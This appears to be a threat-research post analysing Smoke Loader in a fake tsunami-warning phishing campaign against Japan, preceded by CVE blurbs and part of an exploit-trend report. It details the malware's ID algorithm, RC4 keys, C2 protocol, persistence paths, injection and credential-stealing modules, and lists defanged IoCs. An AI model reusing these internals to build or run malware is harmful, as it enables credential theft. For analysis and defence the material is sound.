CVE-2016-0189：The Microsoft (1) JScript 5.8 and (2) VBScript 5.7 and 5.8 engines, as used in Internet Explorer 9 through 11 and other products, allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-0187.

CVE-2018-8174：A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory, aka "Windows VBScript Engine Remote Code Execution Vulnerability." This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2, Windows 10, Windows 10 Servers.

CVE-2015-5119 Exploit Still Used in the Wild

The vulnerability CVE-2015-5119 was found in the Hacking Team leak in 2015. This critical vulnerability in Adobe Flash Player can allow remote attackers to execute arbitrary code. In Q3, we detected a malicious Flash file utilizing vulnerability CVE-2015-5119 in the wild.

Exploit Framework

On August 27th, 2018, our ELINK system found a URL in a porn site embedded with a malicious Flash file that takes advantage of CVE-2015-5119. It’s interesting to point out how the attacker weaponized this exploit in the wild.

The exploit code takes advantage of the vulnerability by assigning a large number to one of the vector objects. Through the corrupted vector object, the attacker has Read&Write privileges to modify the entire process memory. This is typically the first step for attackers when hijacking the control flow. Next, by calling the native Flash function, the exploit code assigns the memory permission to Read Write Execute (RWE) as shown in Figure 9. Finally, the exploit code changes the content of the stack and eventually hijacks the control flow.

 Figure 7. Exploit code changed shellcode memory permission

After the Adobe Flash Player is fully controlled, the exploit code executes the real shellcode for the last stage of the exploit.

The shellcode is highly obfuscated for thwarting the process of reverse engineering. After the shellcode loads specified libraries, it creates a thread to connect the C2 with the specified user agent which then verifies the response from the C2. The shellcode extracts the XOR key from the C2 response and decrypts all the C2 content as a new shellcode. At this point, it would be possible for remote attackers to fully control the victim’s machine by executing the shellcode from the C2.

Conclusion

Looking at this quarter’s trends, we see a surprising drop in malicious URLs globally. Meanwhile, the United States remained the top hosting country for malicious sites and exploit kits.

While our ELINK system indicates 10-year-old vulnerabilities still being exploited, most of the vulnerabilities showing up were discovered within the last 5 years.

In Q3, the United States based domains hosting the Kaixin exploit kit almost doubled from Q2. This significant change was surprising considering the total number of domains drastically dropped. It also reveals the geographic division for the various exploit kits are ambiguous.

Next quarter, we’ll return to review this quarter’s statics and trends against the latest data from ELINK to help better understand the threat trends in the wild.

 

 

Analysis of Smoke Loader in New Tsunami Campaign

Posted on by Kaoru Hayashi

On November 8th, the Japanese Meteorological Agency issued an alert about a fake tsunami warning email masquerading as coming from the agency. According to the alert, the email was written in Japanese and asked recipients to click the link to confirm their evacuation area from a tsunami after an earthquake. The link in the email is not critical information to save your life but malware to steal crucial information from you. The malware is Smoke Loader, infamous commodity malware used by various cybercriminals since 2011.

Smoke Loader is a modular loader where attackers can select any payload to be installed on the victim by Smoke Loader. Thus, the final payload can vary between attacks. For example, we previously reported on the Retefe Banking Trojan being distributed by Smoke Loader in Sweden, and Japan. We have also seen backdoors, ransomware, cryptominers, password stealers, Point-of-Sale (PoS) malware, and banking Trojans installed by Smoke Loader.

This attack seems to be aiming to steal credentials from unidentified targets in Japan and took a similar approach to normal targeted attacks. The attacker registered the fake Japanese government agency domain and ensured the file path to the malware on the server is close to the legitimate agency web site. They wrote the lure email in fluent Japanese and did not distribute it broadly. In late November, the attacker started using another commodity malware known as AzoRult. Figure 1 shows the timeline of this attack.

Figure 1 Time line of the attack

 

Smoke Loader Analysis

Though it’s been seven years since Smoke Loader first appeared, the author keeps updating the code. Malwarebytes published an excellent analysis of Smoke Loader in 2016. The samples we looked at added the following techniques to avoid detection or analysis.

  • Code obfuscation by junk jump
  • Decrypts subroutines and encrypts them after execution
  • Employs PROPagate trick to inject second stage code into an explorer.exe process
  • Changes the algorithm of generating the unique ID
  • Encrypts network traffics and payload file

Some of these techniques were already reported by FireEye and Talos this year. We will focus on the unique ID, C2 communication, and the payload in this blog.

 

Generating a unique ID

Initially, the threat generates a unique ID for the compromised machine from the computer name, the hardcoded static number(0B0D0406), and the volume serial number of the system drive. Smoke Loader uses the unique ID for three purposes:

  • Tracking the compromised machine at C2.
  • Encrypting payload by the ID.
  • Creating random file names for persistence.

Here’s how to create the unique ID. If the computer name is “Test_PC” and the volume serial number is “12345678”, the threat appends the three values like the following:

"Test_PC" + "0B0D0406" + "12345678" = "Test_PC0B0D040612345678"

and it calculates the MD5 hash value of the string,

MD5("Test_PC0B0D040612345678") = 41EE612602833345FC5BD2B98103811C

It then appends the volume serial to the hash value and gets the 40 characters unique ID.

"41EE612602833345FC5BD2B98103811C" + "12345678" = "41EE612602833345FC5BD2B98103811C12345678"

Next, Smoke Loader generates two strings based on the first eight characters and the last eight characters of the ID. Following is the algorithm written in Python.

 

Smoke Loader uses these strings for the file name. It copies itself as follows.

%APPDATA%\Microsoft\Windows\[stringA\[stringB].exe

and it creates following shortcut file to execute the threat when the computer starts.

%StartUp%\[stringA].lnk

These two strings look random. However, the attacker always generates two identical strings to the compromised machine since it is based on the static values of the environment.

 

C2 Communication

Smoke Loader contains the following hardcoded C2 address.

jma-go[.]jp/js/metrology/jma.php

An outline of initial C2 communication follows.

  1. Smoke Loader sends the encrypted data to C2 by HTTP POST method.
  2. C2 server replies HTTP 404 response (Not Found) with encrypted data.
  3. Smoke Loader extracts the plugin from C2, encrypts it by using the unique ID, and saves it local disk.
  4. Smoke Loader extracts the payload modules from the encrypted plugin file and injects them into an Explorer.exe process.

Figure 2 Initial communication

 

Making initial POST data

Smoke Loader creates the data to send C2. At offset 0, there is a marker ‘E207’ followed by the unique ID (Figure 3). The marker is ‘072E’ in little-endian form and ‘2018’ in decimal. Smoke Loader uses the marker every time communicating with C2.

Figure 3 POST data

 

Smoke Loader finally encrypts the data with RC4 cipher by using the static key 0x161A9A0C and send it to the C2 by HTTP POST method.

 

Plugin from C2

The C2 server responds the plugin data contains the final payload with HTTP 404 status code. Smoke Loader obtains the encrypted header size from the first DWORD value of the plugin and decrypts the following bytes with RC4 cipher by the different static key 0x1D17D70A. Figure 4 shows the plugin data after decryption. It then verifies the marker ‘E207’ and gets the plugin size which is defined in the "plugin_size’ variable.

Figure 4 Reply data from C2

After checking the plugin size, Smoke Loader encrypts plugin data with an RC4 cipher using the unique ID and saves it as the following path with the generated string from the ID. Since the file is encrypted with the distinct value to the machine, the file hash is always different on each computer even if the plugin is identical.

%APPDATA%\Microsoft\Windows\[stringA]\[stringA]

Then Smoke Loader decrypts the saved plugin data. The plugin data has thirteen-byte length header and consists from following values.

Offset Size Value
0x00 DWORD Plugin size
0x04 DWORD Plugin marker, 0xD5A08DD8
0x08 DWORD Unknown, possible plugin identifier
0x0C BYTE Number of modules in the plugin

Table 1 Plugin header

 

The plugin can contain multiple modules. In the case of this tsunami campaign, the payload contains six modules. Each module has a header that includes its size and RC4 key to decrypt.

Figure 5 Plugin header and module header

Smoke Loader decrypts a module with RC4 cipher by the specified key. After verifying architecture flag (64 bit or 32 bit) in the module, the threat executes Explorer.exe process and injects the module into the process. Since the threat repeats this the number of modules times, there should be multiple Explorer.exe processes on the compromised machine.

 

Payload Modules

Table 2 shows the list of modules in this campaign. There are three types of functions in two architectures.

Module Architecture Function
1 32 bit Stealing stored credential from browsers and email programs
2 64 bit Incomplete porting of Module 1
3 32 bit Stealing data sending from Browsers
4 64 bit Same with Module 3
5 32 bit Stealing login credential from email protocols
6 64 bit Same with Module 5

Table 2 Module list

When injecting modules, Smoke Loader passes the configuration data including the following values to the modules for C2 communication. Each module has exact same C2 communication code with the loader.

  • RC4 encryption key for HTTP POST
  • The unique ID
  • C2 URL

Module 1

This module aims to steal stored credentials in following programs.

  • Internet Explorer
  • Firefox
  • Chrome
  • Opera
  • Chromium
  • Yandex
  • Amigo
  • QQBrowser
  • Outlook
  • Thunderbird
  • WinSCP

Module 2 contains a partial code of Module 1 but appears to be in the under development phase.

Modules 3 and 4

These modules hook APIs and steals all data being sent data from following browsers.

  • Firefox
  • Internet Explorer
  • Edge
  • Chrome
  • Opera

Modules 5 and 6

These modules hook APIs and steals user id, password, and their associated remote ftp and email server addresses on following protocols.

  • FTP on port 21
  • SMTP on port 25, 587, 2525
  • POP3 on port 110
  • IMAP on port 143

 

Infrastructures and another tools

A person registered the domain name jma-go[.]jp on Oct 30, 2018. The domain does not have a second level domain name, such as .co.jp nor .ne.jp. It is defined as General-use JP domain name by JPNIC. In the definition, JPNIC described the registration requirements of the general-use JP domain name as following.

‘In the general-use JP domain name system, we have established what we call a "local presence" prerequisite, which asks for a connection or relationship with Japan.‘

According to the Whois information of the domain, the domain was owned by a person who has a postal address in Russia and uses a Gmail address. The registrant may change the postal address after registration or could prove a connection or relationship with Japan.

The same person also registered another eight domains with the same Gmail address. We found that the three of the domains were used in attacks involving the Android banking trojan/password stealing malware, Marcher from Feb to March in 2018. We haven’t identified the targets of the mobile malware yet. Following is the sample list.

 

Domain Marcher SHA256
Sungmap[.]at 254925e47fbfff4786eada6cbcb0805ed79d9bd417955c016236143eb2ecd827
Mountainhigh[.]at 75edaae605622e056a40c2d8a16b86654d7ddc772f12c4fc64292a32a96fde7a
Racemodel[.]at 55ae2b00234674d82dcc401a0daa97e7b3921057a07970347815d9c50dddbda8

Table 3 Domains and Marcher hashes

 

On November 25, we confirmed that another malware, AzoRult, was served from the same URL previously serving Smoke Loader. AzoRult is also a commodity malware that steals credentials, cookies, and cryptocurrencies. This AzoRult accesses the following C2 address, which is a different path on the same C2 server with the Smoke Loader.

www.jma-go[.]jp/java/java9356/index.php

We observed three AzoRult samples using the same C2 at the time of writing this blog. The attacker distributes those files from following URLs.

  • thunderbolt-price[.]com/Art-and-Jakes/Coupon.scr
  • bite-me.wz[.]cz/1.exe

thunderbolt-price[.]com was registered in 2012 in Japan, and the Privacy Protection Service protects its registrant information. The website of the domain does not host content at the top page as of today. According to the Google search, the domain appears in shopping related pages from 2014 to 2015. Interestingly, those web pages are low-quality and mostly hosted on hacked web servers. These web pages are likely created for malicious Search Engine Optimization (SEO) backlinks which gain scores for better page rank in the search engine results. Figure 6 is a ladies’ shoes shopping web page hosted on the website of a construction and building materials company in Turkey.

Figure 6 SEO backlinks on hacked site

 

The domain may have been used for a shopping or affiliate site previously, but the owner does not use it for that purpose anymore. It looks like the attacker compromised the website, which had not been used for few years, and is using it for distributing AzoRult. However, we don’t know the connection between the attacker and the current owner of the thunderbolt-price[.]com.

Table 4 shows the timetable of infrastructure changes and timestamp of malware.

Date Activities
Oct 30, 2018 Registers jma-go[.]jp domain
Nov 5, 2018 Smoke Loader

3d75eabb8460450a49e2fb68053d9f591efe5aefd379205e5cc3af574bb9f415
Nov 6, 2018 Smoke Loader

8a1aab36c3940e4dd83f489432fa710fba582e254c3a52459c52826d6a822f2d

0db3fd1394b15b98f4e112102cdec6cc569062cdb199b66c5838c54cbc286277

be3817b9f14df3e0af82ae47b0904ac38d022e2b2d7bb7f8f9800b534b60183c
Nov 8, 2018 Smoke Loader

27aa9cdf60f1fbff84ede0d77bd49677ec346af050ffd90a43b8dcd528c9633b
Nov 9, 2018 Smoke Loader

42fdaffdbacfdf85945bd0e8bfaadb765dde622a0a7268f8aa70cd18c91a0e85
Nov 15, 2018 Smoke Loader

fb3def9c23ba81f85aae0f563f4156ba9453c2e928728283de4abdfb5b5f426f
Nov 24, 2018 AzoRult

70900b5777ea48f4c635f78b597605e9bdbbee469b3052f1bd0088a1d18f85d3
Nov 25, 2018 Smoke Loadera

1ce72ec2f2fe6139eb6bb35b8a4fb40aca2d90bc19872d6517a6ebb66b6b139
Nov 27, 2018 AzoRult

7337143e5fb7ecbdf1911e248d73c930a81100206e8813ad3a90d4dd69ee53c7
Nov 30, 2018 Changes the IP address associates with jma-go[.]jp

from 47.74.255[.]111 to 149.129.135[.]53
Dec 3, 2018 AzoRult7

48c94bfdb94b322c876114fcf55a6043f1cd612766e8af1635218a747f45fb9

Table 4 Timetable

 

Conclusion

Commodity malware is widely used by cyber criminals these days. The authors of malware keep updating the code to expand the capabilities and trying to gain more customers. As we detailed in this article, Smoke Loader encrypts network traffic and files with various keys to avoid analysis. We recently published a report of a new variant of AzoRult that introduces a new advanced obfuscation technique to evade detection by security products. Attackers, like those in this tsunami campaign, can pick up malware fitting for their purpose from online threat marketplaces.

Palo Alto Networks customers are protected from this threat in the following ways:

  • AutoFocus customers can track these samples with the Smoke Loader, AzoRult and Marcher.
  • WildFire detects all files mentioned in this report with malicious verdicts.
  • Traps blocks all of the files described in this article.

 

IoC

Smoke Loader Samples

3d75eabb8460450a49e2fb68053d9f591efe5aefd379205e5cc3af574bb9f415
8a1aab36c3940e4dd83f489432fa710fba582e254c3a52459c52826d6a822f2d
0db3fd1394b15b98f4e112102cdec6cc569062cdb199b66c5838c54cbc286277
be3817b9f14df3e0af82ae47b0904ac38d022e2b2d7bb7f8f9800b534b60183c
27aa9cdf60f1fbff84ede0d77bd49677ec346af050ffd90a43b8dcd528c9633b
42fdaffdbacfdf85945bd0e8bfaadb765dde622a0a7268f8aa70cd18c91a0e85
fb3def9c23ba81f85aae0f563f4156ba9453c2e928728283de4abdfb5b5f426f
a1ce72ec2f2fe6139eb6bb35b8a4fb40aca2d90bc19872d6517a6ebb66b6b139

AzoRult Samples

70900b5777ea48f4c635f78b597605e9bdbbee469b3052f1bd0088a1d18f85d3 
7337143e5fb7ecbdf1911e248d73c930a81100206e8813ad3a90d4dd69ee53c7
748c94bfdb94b322c876114fcf55a6043f1cd612766e8af1635218a747f45fb9

Marcher Samples

55ae2b00234674d82dcc401a0daa97e7b3921057a07970347815d9c50dddbda8 
75edaae605622e056a40c2d8a16b86654d7ddc772f12c4fc64292a32a96fde7a
254925e47fbfff4786eada6cbcb0805ed79d9bd417955c016236143eb2ecd827

Infrastructures

http://jma-go[.]jp/js/metrology/jma.php
http://www.jma-go[.]jp/java/java9356/index.php
http://jma-go[.]jp/jma/tsunami/tsunami_regions.scr
http://thunderbolt-price[.]com/Art-and-Jakes/Coupon.scr
http://bite-me.wz[.]cz/1.exe
https://racemodel[.]at
https://mountainhigh[.]at
https://sungmap[.]at

 

Appendix

.bits domain support

Smoke Loader supports .bit Top Level Domains (TLD). Author of the threat includes the following hard-coded DNS servers to resolve .bit domains. Though we haven’t seen any .bit domain in Tsunami campaign, we listed the IP addresses just in case for another attack by the threat.

192.71.245[.]208
58.251.121[.]110
101.226.79[.]205
188.165.200[.]156
185.121.177[.]177
185.121.177[.]53
144.76.133[.]38
169.239.202[.]202
5.135.183[.]146
193.183.98[.]66
51.254.25[.]115
51.255.48[.]78

Get the latest news, invites to events, and threat alerts

Default Heading

Read the article Right Arrow